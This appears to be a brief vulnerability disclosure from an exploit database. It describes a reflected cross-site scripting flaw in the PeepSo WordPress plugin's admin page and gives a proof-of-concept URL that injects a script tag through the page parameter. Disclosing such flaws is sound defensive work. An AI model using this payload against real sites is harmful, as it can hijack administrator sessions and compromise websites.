## https://sploitus.com/exploit?id=WPEX-ID:B4600411-BEE1-4CC8-AEE9-0A613AC9B55B
Make a logged in admin open (When the register your copy notice is displayed):
https://example.com/wp-admin/admin.php?page=peepso&"><script>alert(/XSS/)</script>
Other parameters & page were affected as well